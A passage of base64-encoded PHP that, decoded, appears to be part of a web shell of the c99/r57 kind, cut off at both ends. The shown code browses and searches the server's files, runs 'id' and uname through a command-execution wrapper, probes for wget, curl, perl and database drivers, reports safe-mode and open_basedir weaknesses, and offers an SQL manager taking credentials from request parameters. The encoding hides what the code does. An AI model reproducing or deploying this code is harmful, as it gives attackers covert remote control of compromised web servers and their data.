CAgICAgICAgdW5zZXQoJGFyclska10sJGFyclskaysxXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBlbHNlIHtyZXR1cm4gRkFMU0U7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiY2Fmc2VhcmNoIikpIHsNCiAgICBmdW5jdGlvbiBjYWZzZWFyY2goJGQpIHsNCiAgICAgIGdsb2JhbCAkZm91bmQ7DQogICAgICBnbG9iYWwgJGZvdW5kX2Q7DQogICAgICBnbG9iYWwgJGZvdW5kX2Y7DQogICAgICBnbG9iYWwgJHNlYXJjaF9pX2Y7DQogICAgICBnbG9iYWwgJHNlYXJjaF9pX2Q7DQogICAgICBnbG9iYWwgJGE7DQogICAgICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHsNCiAgICAgICAgaWYoJGYgIT0gIi4iICYmICRmICE9ICIuLiIpIHsNCiAgICAgICAgICAkYm9vbCA9IChlbXB0eSgkYVsibmFtZV9yZWdleHAiXSkgYW5kIHN0cnBvcygkZiwkYVsibmFtZSJdKSAhPT0gRkFMU0UpIHx8ICgkYVsibmFtZV9yZWdleHAiXSBhbmQgZXJlZygkYVsibmFtZSJdLCRmKSk7DQogICAgICAgICAgaWYgKGlzX2RpcigkZC4kZikpIHsNCiAgICAgICAgICAgICRzZWFyY2hfaV9kKys7DQogICAgICAgICAgICBpZiAoZW1wdHkoJGFbInRleHQiXSkgYW5kICRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2QrKzt9DQogICAgICAgICAgICBpZiAoIWlzX2xpbmsoJGQuJGYpKSB7Y2Fmc2VhcmNoKCRkLiRmKTt9DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgJHNlYXJjaF9pX2YrKzsNCiAgICAgICAgICAgIGlmICgkYm9vbCkgew0KICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRhWyJ0ZXh0Il0pKSB7DQogICAgICAgICAgICAgICAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOw0KICAgICAgICAgICAgICAgIGlmICgkYVsidGV4dF93d28iXSkgeyRhWyJ0ZXh0Il0gPSAiICIudHJpbSgkYVsidGV4dCJdKS4iICI7fQ0KICAgICAgICAgICAgICAgIGlmICghJGFbInRleHRfY3MiXSkgeyRhWyJ0ZXh0Il0gPSBzdHJ0b2xvd2VyKCRhWyJ0ZXh0Il0pOyAkciA9IHN0cnRvbG93ZXIoJHIpO30NCiAgICAgICAgICAgICAgICBpZiAoJGFbInRleHRfcmVnZXhwIl0pIHskYm9vbCA9IGVyZWcoJGFbInRleHQiXSwkcik7fQ0KICAgICAgICAgICAgICAgIGVsc2UgeyRib29sID0gc3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDEpO30NCiAgICAgICAgICAgICAgICBpZiAoJGFbInRleHRfbm90Il0pIHskYm9vbCA9ICEkYm9vbDt9DQogICAgICAgICAgICAgICAgaWYgKCRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgZWxzZSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9DQogICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBjbG9zZWRpcigkaCk7DQogICAgfQ0KICB9DQogIGlmICgkeCA9PSAiZ29maWxlIikgew0KICAgIGlmIChpc19kaXIoJGYpKSB7ICR4ID0gImxzIjsgJGQgPSAkZjsgfQ0KICAgIGVsc2UgeyAkeCA9ICJmIjsgJGQgPSBkaXJuYW1lKCRmKTsgJGYgPSBiYXNlbmFtZSgkZik7IH0NCiAgfQ0KICBAb2Jfc3RhcnQoKTsNCiAgQG9iX2ltcGxpY2l0X2ZsdXNoKDApOw0KICBmdW5jdGlvbiBvbnBocHNodXRkb3duKCkgew0KICAgIGdsb2JhbCAkZ3ppcGVuY29kZSwkZnQ7DQogICAgaWYgKCFoZWFkZXJzX3NlbnQoKSBhbmQgJGd6aXBlbmNvZGUgYW5kICFpbl9hcnJheSgkZnQsYXJyYXkoImltZyIsImRvd25sb2FkIiwibm90ZXBhZCIpKSkgew0KICAgICAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgICBAb2JfZW5kX2NsZWFuKCk7DQogICAgICBAb2Jfc3RhcnQoIm9iX2d6SGFuZGxlciIpOw0KICAgICAgZWNobyAkdjsNCiAgICAgIEBvYl9lbmRfZmx1c2goKTsNCiAgICB9DQogIH0NCiAgZnVuY3Rpb24gY2Fwcml2OGV4aXQoKSB7DQogICAgb25waHBzaHV0ZG93bigpOw0KICAgIGV4aXQ7DQogIH0NCiAgaGVhZGVyKCJFeHBpcmVzOiBNb24sIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVCIpOw0KICBoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIuZ21kYXRlKCJELCBkIE0gWSBIOmk6cyIpLiIgR01UIik7DQogIGhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsNCiAgaGVhZGVyKCJDYWNoZS1Db250cm9sOiBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIiwgRkFMU0UpOw0KICBoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsNCiAgaWYgKGVtcHR5KCR0bXBkaXIpKSB7DQogICAgJHRtcGRpciA9IGluaV9nZXQoInVwbG9hZF90bXBfZGlyIik7DQogICAgaWYgKGlzX2RpcigkdG1wZGlyKSkgeyR0bXBkaXIgPSAiL3RtcC8iO30NCiAgfQ0KICAkdG1wZGlyID0gcmVhbHBhdGgoJHRtcGRpcik7DQogICR0bXBkaXIgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHRtcGRpcik7DQogIGlmIChzdWJzdHIoJHRtcGRpciwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0bXBkaXIgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogIGlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKSB7JHRtcGRpcl9sb2dzID0gJHRtcGRpcjt9DQogIGVsc2UgeyR0bXBkaXJfbG9ncyA9IHJlYWxwYXRoKCR0bXBkaXJfbG9ncyk7fQ0KICBmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkgew0KICAgIGlmICgkc3RhdD09Im9uIikgeyByZXR1cm4gIjxmb250IGNvbG9yPSMwMEZGMDA+PGI+T048L2I+PC9mb250PiI7IH0NCiAgICBlbHNlIHsgcmV0dXJuICI8Zm9udCBjb2xvcj1yZWQ+PGI+T0ZGPC9iPjwvZm9udD4iOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdHBlcmwoKSB7DQogICAgaWYgKGV4KCdwZXJsIC1oJykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9DQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0NCiAgfQ0KICBmdW5jdGlvbiB0ZXN0ZmV0Y2goKSB7DQogICAgaWYoZXgoJ2ZldGNoIC0taGVscCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdHdnZXQoKSB7DQogICAgaWYgKGV4KCd3Z2V0IC0taGVscCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdG9yYWNsZSgpIHsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdHBvc3RncmVzcWwoKSB7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdG1zc3FsKCkgew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3RjdXJsKCkgew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdG15c3FsKCkgew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHNob3dkaXNhYmxlZnVuY3Rpb25zKCkgew0KICAgIGlmICgkZGlzYWJsZWZ1bmM9QGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIikpeyByZXR1cm4gIjxmb250IGNvbG9yPXJlZD48Yj4iLiRkaXNhYmxlZnVuYy4iPC9iPjwvZm9udD4iOyB9DQogICAgZWxzZSB7IHJldHVybiAiPGZvbnQgY29sb3I9IzAwRkYwMD48Yj5OT05FPC9iPjwvYj48L2ZvbnQ+IjsgfQ0KICB9DQogIGlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpIHsNCiAgICAkc2FmZW1vZGUgPSBUUlVFOw0KICAgICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9IzMzNjZGRj48Yj5PTiAoU2VjdXJlKTwvYj48L2ZvbnQ+IjsNCiAgfQ0KICBlbHNlIHsNCiAgICAkc2FmZW1vZGUgPSBGQUxTRTsNCiAgICAkaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPXJlZD48Yj5PRkYgKE5vdCBTZWN1cmUpPC9iPjwvZm9udD4iOw0KICB9DQogICR2ID0gQGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KICBpZiAoJHYgb3Igc3RydG9sb3dlcigkdikgPT0gIm9uIikgew0KICAgICRvcGVuYmFzZWRpciA9IFRSVUU7DQogICAgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1yZWQ+Ii4kdi4iPC9mb250PiI7DQogIH0NCiAgZWxzZSB7DQogICAgJG9wZW5iYXNlZGlyID0gRkFMU0U7DQogICAgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vdCBzZWN1cmUpPC9mb250PiI7DQogIH0NCiAgICAgJHF1b3RlcyA9IGdldF9tYWdpY19xdW90ZXNfZ3BjKCk7DQppZiAoJHF1b3RlcyA9PSAiMSIgb3IgJHF1b3RlcyA9PSAib24iKQ0KICAgew0KICAgICAgICRxdW90ID0gIjxmb250IGNvbG9yPSdyZWQnPk9OPC9mb250PiI7DQogICB9DQogICBlbHNlDQogICB7DQogICAgICAgJHF1b3QgPSAiPGZvbnQgY29sb3I9J2dyZWVuJz5PRkY8L2ZvbnQ+IjsNCiAgIH0NCiAgJHNvcnQgPSBodG1sc3BlY2lhbGNoYXJzKCRzb3J0KTsNCiAgaWYgKGVtcHR5KCRzb3J0KSkgeyRzb3J0ID0gJHNvcnRfZGVmYXVsdDt9DQogICRzb3J0WzFdID0gc3RydG9sb3dlcigkc29ydFsxXSk7DQogICRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IGdldGVudigiU0VSVkVSX1NPRlRXQVJFIik7DQogIGlmICghZXJlZygiUEhQLyIucGhwdmVyc2lvbigpLCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpIHskRElTUF9TRVJWRVJfU09GVFdBUkUgLj0gIi4gUEhQLyIucGhwdmVyc2lvbigpO30NCiAgJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gc3RyX3JlcGxhY2UoIlBIUC8iLnBocHZlcnNpb24oKSwiPGEgaHJlZj1cIiIuJHN1cmwuIng9cGhwaW5mb1wiIHRhcmdldD1cIl9ibGFua1wiPjxiPjx1PlBIUC8iLnBocHZlcnNpb24oKS4iPC91PjwvYj48L2E+IixodG1sc3BlY2lhbGNoYXJzKCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpOw0KICBAaW5pX3NldCgiaGlnaGxpZ2h0LmJnIiwkaGlnaGxpZ2h0X2JnKTsNCiAgQGluaV9zZXQoImhpZ2hsaWdodC5jb21tZW50IiwkaGlnaGxpZ2h0X2NvbW1lbnQpOw0KICBAaW5pX3NldCgiaGlnaGxpZ2h0LmRlZmF1bHQiLCRoaWdobGlnaHRfZGVmYXVsdCk7DQogIEBpbmlfc2V0KCJoaWdobGlnaHQuaHRtbCIsJGhpZ2hsaWdodF9odG1sKTsNCiAgQGluaV9zZXQoImhpZ2hsaWdodC5rZXl3b3JkIiwkaGlnaGxpZ2h0X2tleXdvcmQpOw0KICBAaW5pX3NldCgiaGlnaGxpZ2h0LnN0cmluZyIsJGhpZ2hsaWdodF9zdHJpbmcpOw0KICBpZiAoIWlzX2FycmF5KCRhY3Rib3gpKSB7ICRhY3Rib3ggPSBhcnJheSgpOyB9DQogICRkc3BhY3QgPSAkeCA9IGh0bWxzcGVjaWFsY2hhcnMoJHgpOw0KICAkZGlzcF9mdWxscGF0aCA9ICRsc19hcnIgPSAkbm90bHMgPSBudWxsOw0KICAkdWQgPSB1cmxlbmNvZGUoJGQpOw0KICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogIGlmIChlbXB0eSgkZCkpIHskZCA9IHJlYWxwYXRoKCIuIik7fQ0KICBlbHNlaWYocmVhbHBhdGgoJGQpKSB7JGQgPSByZWFscGF0aCgkZCk7fQ0KICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgJGQgPSBzdHJfcmVwbGFjZSgiXFxcXCIsIlxcIiwkZCk7DQogICRkaXNwZCA9IGh0bWxzcGVjaWFsY2hhcnMoJGQpOw0KZWNobyAkaHRtbF9zdGFydDsNCmVjaG8gIjx0YWJsZSBpZD1wYWdlYmFyPjx0cj48dGQgd2lkdGg9NTAlPjxwPiIuDQoJICJTb2Z0d2FyZSA6ICIuJERJU1BfU0VSVkVSX1NPRlRXQVJFIC4iIC0gPGEgaHJlZj0iLiRzdXJsLiJ4PXBocGluaT5waHAuaW5pPC9hPjxicj4iLg0KICAgICAiU2FmZSBNb2RlOiRoc2FmZW1vZGU8YnI+TWFnaWMgUXVvdGVzOiRxdW90PGJyPiIuDQogICAgICJVbmFtZSAtYSA6ICIucGhwX3VuYW1lKCkuIjxicj4iOw0KaWYgKCEkd2luKSB7IGVjaG8gImlkIDogIi5teXNoZWxsZXhlYygiaWQiKTsgfQ0KZWxzZSB7IGVjaG8gIlVzZXIgOiAiIC4gZ2V0X2N1cnJlbnRfdXNlcigpOyB9DQplY2hvICI8YnI+PC9wPiIuDQogICAgICI8cD5TZXJ2ZXIgSVAgOiA8YSBocmVmPWh0dHA6Ly93aG9pcy5kb21haW50b29scy5jb20vIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIj4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9hPiAtICIuDQogICAgICJZb3VyIElQIDogPGEgaHJlZj1odHRwOi8vd2hvaXMuZG9tYWludG9vbHMuY29tLyIuJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uIj4iLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI8L2E+IjsNCgkgZWNobyAiPGJyPjxwPiI7DQppZigkd2luKXtlY2hvICJEcml2ZXMgOiAiLmRpc3BfZHJpdmVzKCRkLCRzdXJsKS4iPC9wPjxwPiI7fQ0KZWNobyAiRnJlZXNwYWNlIDogIi5kaXNwX2ZyZWVzcGFjZSgkZCk7DQplY2hvICI8L3A+PHA+IjsNCmVjaG8gIk15U1FMOiAiLnRlc3RteXNxbCgpLiIgTVNTUUw6ICIudGVzdG1zc3FsKCkuIiBPcmFjbGU6ICIudGVzdG9yYWNsZSgpLiIgTVNTUUw6ICIudGVzdG1zc3FsKCkuIiBQb3N0Z3JlU1FMOiAiLnRlc3Rwb3N0Z3Jlc3FsKCkuDQogICAgICIgY1VSTDogIi50ZXN0Y3VybCgpLiIgV0dldDogIi50ZXN0d2dldCgpLiIgRmV0Y2g6ICIudGVzdGZldGNoKCkuIiBQZXJsOiAiLnRlc3RwZXJsKCkuIjxicj4iOw0KZWNobyAiRGlzYWJsZWQgRnVuY3Rpb25zOiAiLnNob3dkaXNhYmxlZnVuY3Rpb25zKCk7DQplY2hvICI8L3A+PC90ZD48L3RyPiI7DQplY2hvICI8dHI+PHRkIGNvbHNwYW49MiBpZD1tYWlubWVudT4iOw0KaWYgKGNvdW50KCRxdWlja2xhdW5jaDIpID4gMCkgew0KICBmb3JlYWNoKCRxdWlja2xhdW5jaDIgYXMgJGl0ZW0pIHsNCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlZCIsdXJsZW5jb2RlKCRkKSwkaXRlbVsxXSk7DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXNvcnQiLCRzb3J0LCRpdGVtWzFdKTsNCiAgICAkdiA9IHJlYWxwYXRoKCRkLiIuLiIpOw0KICAgIGlmIChlbXB0eSgkdikpIHsNCiAgICAgICRhID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAgICAgIHVuc2V0KCRhW2NvdW50KCRhKS0yXSk7DQogICAgICAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7DQogICAgfQ0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiV1cGQiLHVybGVuY29kZSgkdiksJGl0ZW1bMV0pOw0KICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+XG4iOw0KICB9DQp9DQplY2hvICI8L3RkPjx0cj48dGQgY29sc3Bhbj0yIGlkPW1haW5tZW51PiI7DQppZiAoY291bnQoJHF1aWNrbGF1bmNoMSkgPiAwKSB7DQogIGZvcmVhY2goJHF1aWNrbGF1bmNoMSBhcyAkaXRlbSkgew0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVkIix1cmxlbmNvZGUoJGQpLCRpdGVtWzFdKTsNCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsJHNvcnQsJGl0ZW1bMV0pOw0KICAgICR2ID0gcmVhbHBhdGgoJGQuIi4uIik7DQogICAgaWYgKGVtcHR5KCR2KSkgew0KICAgICAgJGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICAgICAgdW5zZXQoJGFbY291bnQoJGEpLTJdKTsNCiAgICAgICR2ID0gam9pbihESVJFQ1RPUllfU0VQQVJBVE9SLCRhKTsNCiAgICB9DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXVwZCIsdXJsZW5jb2RlKCR2KSwkaXRlbVsxXSk7DQogICAgZWNobyAiPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT5cbiI7DQogIH0NCn0NCmVjaG8gIjwvdGQ+PHRyPjx0ZCBjb2xzcGFuPTIgaWQ9bWFpbm1lbnU+IjsNCmlmIChjb3VudCgkcXVpY2tsYXVuY2gzKSA+IDApIHsNCiAgZm9yZWFjaCgkcXVpY2tsYXVuY2gzIGFzICRpdGVtKSB7DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOw0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVzb3J0Iiwkc29ydCwkaXRlbVsxXSk7DQogICAgJHYgPSByZWFscGF0aCgkZC4iLi4iKTsNCiAgICBpZiAoZW1wdHkoJHYpKSB7DQogICAgICAkYSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICB1bnNldCgkYVtjb3VudCgkYSktMl0pOw0KICAgICAgJHYgPSBqb2luKERJUkVDVE9SWV9TRVBBUkFUT1IsJGEpOw0KICAgIH0NCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNvZGUoJHYpLCRpdGVtWzFdKTsNCiAgICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPlxuIjsNCiAgfQ0KfQ0KZWNobyAiPC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0yPiI7DQplY2hvICI8cCBjbGFzcz1mbGVmdD4iOw0KJHBkID0gJGUgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1Isc3Vic3RyKCRkLDAsLTEpKTsNCiRpID0gMDsNCmZvcmVhY2goJHBkIGFzICRiKSB7DQogICR0ID0gIiI7ICRqID0gMDsNCiAgZm9yZWFjaCAoJGUgYXMgJHIpIHsNCiAgICAkdC49ICRyLkRJUkVDVE9SWV9TRVBBUkFUT1I7DQogICAgaWYgKCRqID09ICRpKSB7IGJyZWFrOyB9DQogICAgJGorKzsNCiAgfQ0KICBlY2hvICI8YSBocmVmPVwiIi4kc3VybC4ieD1scyZkPSIudXJsZW5jb2RlKCR0KS4iJnNvcnQ9Ii4kc29ydC4iXCI+PGZvbnQgY29sb3I9cmVkPiIuaHRtbHNwZWNpYWxjaGFycygkYikuRElSRUNUT1JZX1NFUEFSQVRPUi4iPC9mb250PjwvYT4iOw0KICAkaSsrOw0KfQ0KZWNobyAiIC0gIjsNCmlmIChpc193cml0YWJsZSgkZCkpIHsNCiAgJHdkID0gVFJVRTsNCiAgJHdkdCA9ICI8Zm9udCBjb2xvcj0jMDBGRjAwPltPS108L2ZvbnQ+IjsNCiAgZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkZCkpLiI8L2ZvbnQ+PC9iPiI7DQp9DQplbHNlIHsNCiAgJHdkID0gRkFMU0U7DQogICR3ZHQgPSAiPGZvbnQgY29sb3I9cmVkPltSZWFkLU9ubHldPC9mb250PiI7DQogIGVjaG8gIjxiPiIudmlld19wZXJtc19jb2xvcigkZCkuIjwvYj4iOw0KfQ0KPz4NCg0KPC9wPg0KPGJyIC8+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibHMiPg0KRGlyZWN0b3J5OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZCIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj4NCjwvZm9ybT4NCjwvdGQ+PC90cj48L3RhYmxlPg0KPD9waHANCmVjaG8gIjx0YWJsZSBpZD1tYWluaW5mbz48dHI+PHRkIHdpZHRoPVwiMTAwJVwiPlxuIjsNCmlmICgkeCA9PSAiIikgeyAkeCA9ICRkc3BhY3QgPSAibHMiOyB9DQppZiAoJHggPT0gInBocGluaSIgKSB7IGdldF9waHBpbmkoKTsgfQ0KaWYgKCR4ID09ICJzcWwiKSB7DQogICRzcWxfc3VybCA9ICRzdXJsLiJ4PXNxbCI7DQogIGlmICgkc3FsX2xvZ2luKSAgeyRzcWxfc3VybCAuPSAiJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7fQ0KICBpZiAoJHNxbF9wYXNzd2QpIHskc3FsX3N1cmwgLj0gIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7fQ0KICBpZiAoJHNxbF9zZXJ2ZXIpIHskc3FsX3N1cmwgLj0gIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7fQ0KICBpZiAoJHNxbF9wb3J0KSAgIHskc3FsX3N1cmwgLj0gIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTt9DQogIGlmICgkc3FsX2RiKSAgICAgeyRzcWxfc3VybCAuPSAiJnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7fQ0KICAkc3FsX3N1cmwgLj0gIiYiOw0KICBlY2hvICI8dGFibGU+Ii4NCiAgICAgICAiPHRyPjx0ZCB3aWR0aD1cIjEwMCVcIiBjb2xzcGFuPTIgY2xhc3M9YmFyaGVhZGVyPiI7DQogIGlmICgkc3FsX3NlcnZlcikgew0KICAgICRzcWxfc29jayA9IG15c3FsX2Nvbm5lY3QoJHNxbF9zZXJ2ZXIuIjoiLiRzcWxfcG9ydCwgJHNxbF9sb2dpbiwgJHNxbF9wYXNzd2QpOw0KICAgICRlcnIgPSBteXNxbF9zbWFydGVycm9yKCk7DQogICAgQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7DQogICAgaWYgKCRzcWxfcXVlcnkgYW5kICRzdWJtaXQpIHskc3FsX3F1ZXJ5X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKTsgJHNxbF9xdWVyeV9lcnJvciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogIH0NCiAgZWxzZSB7JHNxbF9zb2NrID0gRkFMU0U7fQ0KICBlY2hvICIuOiBTUUwgTWFuYWdlciA6Ljxicj4iOw0KICBpZiAoISRzcWxfc29jaykgew0KICAgIGlmICghJHNxbF9zZXJ2ZXIpIHtlY2hvICJOTyBDT05ORUNUSU9OIjt9DQogICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY29ubmVjdCEgIi4kZXJyO30NCiAgfQ0KICBlbHNlIHsNCiAgICAkc3FscXVpY2tsYXVuY2ggPSBhcnJheSgpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkluZGV4Iiwkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIik7DQogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUXVlcnkiLCRzcWxfc3VybC4ic3FsX3g9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlci1zdGF0dXMiLCRzdXJsLiJ4PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfeD1zZXJ2ZXJzdGF0dXMiKTsNCiAgICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXIgdmFyaWFibGVzIiwkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX3